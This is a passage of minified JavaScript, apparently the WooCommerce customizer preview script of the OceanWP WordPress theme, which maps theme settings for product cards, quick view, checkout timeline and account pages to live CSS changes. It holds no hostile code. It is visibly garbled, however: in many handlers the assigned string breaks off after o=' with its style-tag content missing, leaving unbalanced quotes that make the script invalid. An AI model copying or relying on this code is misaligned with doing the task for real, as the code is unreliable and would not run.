e=c(".customizer-ocean_woo_floating_bar_quantity_buttons_hover_bg");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_woo_floating_bar_quantity_buttons_color",function(o){o.bind(function(o){var e=c(".customizer-ocean_woo_floating_bar_quantity_buttons_color");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_woo_floating_bar_quantity_buttons_hover_color",function(o){o.bind(function(o){var e=c(".customizer-ocean_woo_floating_bar_quantity_buttons_hover_color");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_woo_floating_bar_quantity_input_bg",function(o){o.bind(function(o){c(".owp-floating-bar form.cart .quantity .qty").css("background-color",o)})}),o("ocean_woo_floating_bar_quantity_input_color",function(o){o.bind(function(o){c(".owp-floating-bar form.cart .quantity .qty").css("color",o)})}),o("ocean_woo_floating_bar_addtocart_bg",function(o){o.bind(function(o){var e=c(".customizer-ocean_woo_floating_bar_addtocart_bg");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_woo_floating_bar_addtocart_hover_bg",function(o){o.bind(function(o){var e=c(".customizer-ocean_woo_floating_bar_addtocart_hover_bg");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_woo_floating_bar_addtocart_color",function(o){o.bind(function(o){var e=c(".customizer-ocean_woo_floating_bar_addtocart_color");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_woo_floating_bar_addtocart_hover_color",function(o){o.bind(function(o){var e=c(".customizer-ocean_woo_floating_bar_addtocart_hover_color");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_woo_checkout_timeline_bg",function(o){o.bind(function(o){var e=c(".customizer-ocean_woo_checkout_timeline_bg");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_woo_checkout_timeline_color",function(o){o.bind(function(o){c("#owp-checkout-timeline .timeline-wrapper").css("color",o)})}),o("ocean_woo_checkout_timeline_number_bg",function(o){o.bind(function(o){c("#owp-checkout-timeline .timeline-step").css("background-color",o)})}),o("ocean_woo_checkout_timeline_number_color",function(o){o.bind(function(o){c("#owp-checkout-timeline .timeline-step").css("color",o)})}),o("ocean_woo_checkout_timeline_number_border_color",function(o){o.bind(function(o){c("#owp-checkout-timeline .timeline-step").css("border-color",o)})}),o("ocean_woo_checkout_timeline_active_bg",function(o){o.bind(function(o){var e=c(".customizer-ocean_woo_checkout_timeline_active_bg");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_woo_checkout_timeline_active_color",function(o){o.bind(function(o){c("#owp-checkout-timeline .active .timeline-wrapper").css("color",o)})}),o("ocean_onsale_bg",function(o){o.bind(function(o){c(".woocommerce span.onsale").css("background-color",o)})}),o("ocean_onsale_color",function(o){o.bind(function(o){c(".woocommerce span.onsale").css("color",o)})}),o("ocean_outofstock_bg",function(o){o.bind(function(o){c(".woocommerce ul.products li.product.outofstock .outofstock-badge").css("background-color",o)})}),o("ocean_outofstock_color",function(o){o.bind(function(o){c(".woocommerce ul.products li.product.outofstock .outofstock-badge").css("color",o)})}),o("ocean_stars_color_before",function(o){o.bind(function(o){var e=c(".customizer-ocean_stars_color_before");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_stars_color",function(o){o.bind(function(o){var e=c(".customizer-ocean_stars_color");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_quantity_border_color",function(o){o.bind(function(o){c(".quantity .qty, .quantity .minus, .quantity .plus").css("border-color",o)})}),o("ocean_quantity_border_color_focus",function(o){o.bind(function(o){var e=c(".customizer-ocean_quantity_border_color_focus");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_quantity_color",function(o){o.bind(function(o){c(".quantity .qty").css("color",o)})}),o("ocean_quantity_plus_minus_color",function(o){o.bind(function(o){c(".quantity .minus, .quantity .plus").css("color",o)})}),o("ocean_quantity_plus_minus_color_hover",function(o){o.bind(function(o){var e=c(".customizer-ocean_quantity_plus_minus_color_hover");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_quantity_plus_minus_border_color_hover",function(o){o.bind(function(o){var e=c(".customizer-ocean_quantity_plus_minus_border_color_hover");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_toolbar_border_color",function(o){o.bind(function(o){c(".woocommerce .oceanwp-toolbar").css("border-color",o)})}),o("ocean_toolbar_off_canvas_filter_color",function(o){o.bind(function(o){var e=c(".customizer-ocean_toolbar_off_canvas_filter_color");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_toolbar_off_canvas_filter_border_color",function(o){o.bind(function(o){var e=c(".customizer-ocean_toolbar_off_canvas_filter_border_color");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_toolbar_off_canvas_filter_hover_color",function(o){o.bind(function(o){var e=c(".customizer-ocean_toolbar_off_canvas_filter_hover_color");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_toolbar_off_canvas_filter_hover_border_color",function(o){o.bind(function(o){var e=c(".customizer-ocean_toolbar_off_canvas_filter_hover_border_color");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_toolbar_grid_list_color",function(o){o.bind(function(o){var e=c(".customizer-ocean_toolbar_grid_list_color");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_toolbar_grid_list_border_color",function(o){o.bind(function(o){var e=c(".customizer-ocean_toolbar_grid_list_border_color");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_toolbar_grid_list_hover_color",function(o){o.bind(function(o){var e=c(".customizer-ocean_toolbar_grid_list_hover_color");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_toolbar_grid_list_active_color",function(o){o.bind(function(o){var e=c(".customizer-ocean_toolbar_grid_list_active_color");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_toolbar_select_color",function(o){o.bind(function(o){var e=c(".customizer-ocean_toolbar_select_color");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_toolbar_select_border_color",function(o){o.bind(function(o){var e=c(".customizer-ocean_toolbar_select_border_color");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_toolbar_number_of_products_color",function(o){o.bind(function(o){var e=c(".customizer-ocean_toolbar_number_of_products_color");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_toolbar_number_of_products_inactive_color",function(o){o.bind(function(o){var e=c(".customizer-ocean_toolbar_number_of_products_inactive_color");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_toolbar_number_of_products_border_color",function(o){o.bind(function(o){var e=c(".customizer-ocean_toolbar_number_of_products_border_color");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_top_padding",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_top_padding");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_right_padding",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_right_padding");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_bottom_padding",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_bottom_padding");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_left_padding",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_left_padding");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_tablet_top_padding",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_tablet_top_padding");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_tablet_right_padding",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_tablet_right_padding");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_tablet_bottom_padding",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_tablet_bottom_padding");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_tablet_left_padding",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_tablet_left_padding");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_mobile_top_padding",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_mobile_top_padding");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_mobile_right_padding",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_mobile_right_padding");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_mobile_bottom_padding",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_mobile_bottom_padding");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_mobile_left_padding",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_mobile_left_padding");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_image_top_margin",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_image_top_margin");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_image_right_margin",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_image_right_margin");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_image_bottom_margin",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_image_bottom_margin");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_image_left_margin",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_image_left_margin");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_image_tablet_top_margin",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_image_tablet_top_margin");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_image_tablet_right_margin",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_image_tablet_right_margin");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_image_tablet_bottom_margin",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_image_tablet_bottom_margin");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_image_tablet_left_margin",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_image_tablet_left_margin");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_image_mobile_top_margin",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_image_mobile_top_margin");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_image_mobile_right_margin",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_image_mobile_right_margin");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_image_mobile_bottom_margin",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_image_mobile_bottom_margin");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_image_mobile_left_margin",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_image_mobile_left_margin");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_top_border_width",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_top_border_width");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_right_border_width",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_right_border_width");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_bottom_border_width",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_bottom_border_width");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_left_border_width",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_left_border_width");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_tablet_top_border_width",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_tablet_top_border_width");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_tablet_right_border_width",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_tablet_right_border_width");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_tablet_bottom_border_width",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_tablet_bottom_border_width");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_tablet_left_border_width",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_tablet_left_border_width");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_mobile_top_border_width",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_mobile_top_border_width");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_mobile_right_border_width",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_mobile_right_border_width");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_mobile_bottom_border_width",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_mobile_bottom_border_width");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_mobile_left_border_width",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_mobile_left_border_width");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_top_border_radius",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_top_border_radius");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_right_border_radius",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_right_border_radius");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_bottom_border_radius",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_bottom_border_radius");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_left_border_radius",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_left_border_radius");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_tablet_top_border_radius",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_tablet_top_border_radius");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_tablet_right_border_radius",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_tablet_right_border_radius");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_tablet_bottom_border_radius",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_tablet_bottom_border_radius");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_tablet_left_border_radius",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_tablet_left_border_radius");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_mobile_top_border_radius",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_mobile_top_border_radius");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_mobile_right_border_radius",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_mobile_right_border_radius");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_mobile_bottom_border_radius",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_mobile_bottom_border_radius");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_mobile_left_border_radius",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_mobile_left_border_radius");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_background_color",function(o){o.bind(function(o){c(".woocommerce .products .product-inner, .woocommerce ul.products li.product .woo-product-info, .woocommerce ul.products li.product .woo-product-gallery").css("background-color",o)})}),o("ocean_product_border_color",function(o){o.bind(function(o){c(".woocommerce .products .product-inner").css("border-color",o)})}),o("ocean_category_color",function(o){o.bind(function(o){c(".woocommerce ul.products li.product li.category, .woocommerce ul.products li.product li.category a").css("color",o)})}),o("ocean_category_color_hover",function(o){o.bind(function(o){var e=c(".customizer-ocean_category_color_hover");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_title_color",function(o){o.bind(function(o){c(".woocommerce ul.products li.product li.title h2, .woocommerce ul.products li.product li.title a").css("color",o)})}),o("ocean_product_title_color_hover",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_title_color_hover");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_entry_price_color",function(o){o.bind(function(o){c(".woocommerce ul.products li.product .price, .woocommerce ul.products li.product .price .amount").css("color",o)})}),o("ocean_product_entry_del_price_color",function(o){o.bind(function(o){c(".woocommerce ul.products li.product .price del .amount").css("color",o)})}),o("ocean_product_entry_cond_note_color",function(o){o.bind(function(o){c(".woocommerce ul.products li.product li.owp-woo-cond-notice span, .woocommerce ul.products li.product li.owp-woo-cond-notice a").css("color",o)})}),o("ocean_product_entry_cond_note_color_hover",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_entry_cond_note_color_hover");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_entry_hover_thumbnails_border_color",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_entry_hover_thumbnails_border_color");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_entry_hover_quickview_background",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_entry_hover_quickview_background");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_entry_hover_quickview_hover_background",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_entry_hover_quickview_hover_background");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_entry_hover_quickview_color",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_entry_hover_quickview_color");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_entry_hover_quickview_hover_color",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_entry_hover_quickview_hover_color");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_entry_hover_wishlist_background",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_entry_hover_wishlist_background");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_entry_hover_wishlist_hover_background",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_entry_hover_wishlist_hover_background");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_entry_hover_wishlist_color",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_entry_hover_wishlist_color");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_entry_hover_wishlist_hover_color",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_entry_hover_wishlist_hover_color");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_entry_addtocart_bg_color",function(o){o.bind(function(o){c(".woocommerce ul.products li.product .button,.woocommerce ul.products li.product .product-inner .added_to_cart").css("background-color",o)})}),o("ocean_product_entry_addtocart_bg_color_hover",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_entry_addtocart_bg_color_hover");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_entry_addtocart_color",function(o){o.bind(function(o){c(".woocommerce ul.products li.product .button,.woocommerce ul.products li.product .product-inner .added_to_cart").css("color",o)})}),o("ocean_product_entry_addtocart_color_hover",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_entry_addtocart_color_hover");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_entry_addtocart_border_color",function(o){o.bind(function(o){c(".woocommerce ul.products li.product .button,.woocommerce ul.products li.product .product-inner .added_to_cart").css("border-color",o)})}),o("ocean_product_entry_addtocart_border_color_hover",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_entry_addtocart_border_color_hover");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_entry_addtocart_border_style",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_entry_addtocart_border_style");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_entry_addtocart_border_size",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_entry_addtocart_border_size");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_product_entry_addtocart_border_radius",function(o){o.bind(function(o){var e=c(".customizer-ocean_product_entry_addtocart_border_radius");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_woo_quick_view_button_bg",function(o){o.bind(function(o){var e=c(".customizer-ocean_woo_quick_view_button_bg");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_woo_quick_view_button_hover_bg",function(o){o.bind(function(o){var e=c(".customizer-ocean_woo_quick_view_button_hover_bg");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_woo_quick_view_button_color",function(o){o.bind(function(o){var e=c(".customizer-ocean_woo_quick_view_button_color");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_woo_quick_view_button_hover_color",function(o){o.bind(function(o){var e=c(".customizer-ocean_woo_quick_view_button_hover_color");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_woo_quick_view_overlay_bg",function(o){o.bind(function(o){var e=c(".customizer-ocean_woo_quick_view_overlay_bg");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_woo_quick_view_overlay_spinner_outside_color",function(o){o.bind(function(o){var e=c(".customizer-ocean_woo_quick_view_overlay_spinner_outside_color");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_woo_quick_view_overlay_spinner_inner_color",function(o){o.bind(function(o){var e=c(".customizer-ocean_woo_quick_view_overlay_spinner_inner_color");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_woo_quick_view_modal_bg",function(o){o.bind(function(o){c(".owp-qv-content-inner").css("background-color",o)})}),o("ocean_woo_quick_view_modal_close_color",function(o){o.bind(function(o){c(".owp-qv-content-inner .owp-qv-close").css("color",o)})}),o("ocean_woo_off_canvas_sidebar_bg",function(o){o.bind(function(o){c("#oceanwp-off-canvas-sidebar-wrap .oceanwp-off-canvas-sidebar").css("background-color",o)})}),o("ocean_woo_off_canvas_sidebar_widgets_border",function(o){o.bind(function(o){c("#oceanwp-off-canvas-sidebar-wrap .sidebar-box").css("border-color",o)})}),o("ocean_single_product_title_color",function(o){o.bind(function(o){c(".woocommerce div.product .product_title").css("color",o)})}),o("ocean_single_product_price_color",function(o){o.bind(function(o){c(".price,.amount").css("color",o)})}),o("ocean_single_product_del_price_color",function(o){o.bind(function(o){c(".price del,del .amount").css("color",o)})}),o("ocean_single_product_description_color",function(o){o.bind(function(o){c('.woocommerce div.product div[itemprop="description"]').css("color",o)})}),o("ocean_single_product_meta_title_color",function(o){o.bind(function(o){c(".product_meta .posted_in,.product_meta .tagged_as").css("color",o)})}),o("ocean_single_product_meta_link_color",function(o){o.bind(function(o){c(".product_meta .posted_in a, .product_meta .tagged_as a").css("color",o)})}),o("ocean_single_product_meta_link_color_hover",function(o){o.bind(function(o){var e=c(".customizer-ocean_single_product_meta_link_color_hover");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_single_cond_note_color",function(o){o.bind(function(o){c(".woocommerce div.owp-woo-single-cond-notice span, .woocommerce div.owp-woo-single-cond-notice a").css("color",o)})}),o("ocean_single_cond_note_color_hover",function(o){o.bind(function(o){var e=c(".customizer-ocean_single_cond_note_color_hover");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_single_product_open_image_color",function(o){o.bind(function(o){c(".woocommerce div.product div.images .open-image").css("color",o)})}),o("ocean_single_product_open_image_border_color",function(o){o.bind(function(o){c(".woocommerce div.product div.images .open-image").css("border-color",o)})}),o("ocean_single_product_navigation_border_radius",function(o){o.bind(function(o){var e=c(".customizer-ocean_single_product_navigation_border_radius");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_single_product_navigation_bg",function(o){o.bind(function(o){var e=c(".customizer-ocean_single_product_navigation_bg");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_single_product_navigation_hover_bg",function(o){o.bind(function(o){var e=c(".customizer-ocean_single_product_navigation_hover_bg");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_single_product_navigation_color",function(o){o.bind(function(o){var e=c(".customizer-ocean_single_product_navigation_color");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_single_product_navigation_hover_color",function(o){o.bind(function(o){var e=c(".customizer-ocean_single_product_navigation_hover_color");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_single_product_navigation_border_color",function(o){o.bind(function(o){var e=c(".customizer-ocean_single_product_navigation_border_color");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_single_product_navigation_hover_border_color",function(o){o.bind(function(o){var e=c(".customizer-ocean_single_product_navigation_hover_border_color");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_single_product_addtocart_bg_color",function(o){o.bind(function(o){c(".woocommerce div.product div.summary button.single_add_to_cart_button").css("background-color",o)})}),o("ocean_single_product_addtocart_bg_color_hover",function(o){o.bind(function(o){var e=c(".customizer-ocean_single_product_addtocart_bg_color_hover");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_single_product_addtocart_color",function(o){o.bind(function(o){c(".woocommerce div.product div.summary button.single_add_to_cart_button").css("color",o)})}),o("ocean_single_product_addtocart_color_hover",function(o){o.bind(function(o){var e=c(".customizer-ocean_single_product_addtocart_color_hover");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_single_product_addtocart_border_color",function(o){o.bind(function(o){c(".woocommerce div.product div.summary button.single_add_to_cart_button").css("border-color",o)})}),o("ocean_single_product_addtocart_border_color_hover",function(o){o.bind(function(o){var e=c(".customizer-ocean_single_product_addtocart_border_color_hover");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_single_product_addtocart_border_style",function(o){o.bind(function(o){var e=c(".customizer-ocean_single_product_addtocart_border_style");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_single_product_addtocart_border_size",function(o){o.bind(function(o){var e=c(".customizer-ocean_single_product_addtocart_border_size");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_single_product_addtocart_border_radius",function(o){o.bind(function(o){var e=c(".customizer-ocean_single_product_addtocart_border_radius");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_single_product_tabs_borders_color",function(o){o.bind(function(o){c(".woocommerce div.product .woocommerce-tabs ul.tabs").css("border-color",o)})}),o("ocean_single_product_tabs_text_color",function(o){o.bind(function(o){c(".woocommerce div.product .woocommerce-tabs ul.tabs li a").css("color",o)})}),o("ocean_single_product_tabs_text_color_hover",function(o){o.bind(function(o){var e=c(".customizer-ocean_single_product_tabs_text_color_hover");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_single_product_tabs_active_text_color",function(o){o.bind(function(o){c(".woocommerce div.product .woocommerce-tabs ul.tabs li.active a").css("color",o)})}),o("ocean_single_product_tabs_active_text_borders_color",function(o){o.bind(function(o){c(".woocommerce div.product .woocommerce-tabs ul.tabs li.active a").css("border-color",o)})}),o("ocean_single_product_tabs_product_description_title_color",function(o){o.bind(function(o){c(".woocommerce div.product .woocommerce-tabs .panel h2").css("color",o)})}),o("ocean_single_product_tabs_product_description_color",function(o){o.bind(function(o){c(".woocommerce div.product .woocommerce-tabs .panel p").css("color",o)})}),o("ocean_account_navigation_borders_color",function(o){o.bind(function(o){c(".woocommerce-MyAccount-navigation ul,.woocommerce-MyAccount-navigation ul li").css("border-color",o)})}),o("ocean_account_navigation_icons_color",function(o){o.bind(function(o){var e=c(".customizer-ocean_account_navigation_icons_color");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_account_navigation_links_color",function(o){o.bind(function(o){c(".woocommerce-MyAccount-navigation ul li a").css("color",o)})}),o("ocean_account_navigation_links_color_hover",function(o){o.bind(function(o){var e=c(".customizer-ocean_account_navigation_links_color_hover");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_account_addresses_bg",function(o){o.bind(function(o){c(".woocommerce-MyAccount-content .addresses .woocommerce-Address .title, .woocommerce-MyAccount-content .addresses .woocommerce-Address address").css("background-color",o)})}),o("ocean_account_addresses_title_color",function(o){o.bind(function(o){c(".woocommerce-MyAccount-content .addresses .woocommerce-Address .title h3").css("color",o)})}),o("ocean_account_addresses_title_border_color",function(o){o.bind(function(o){c(".woocommerce-MyAccount-content .addresses .woocommerce-Address 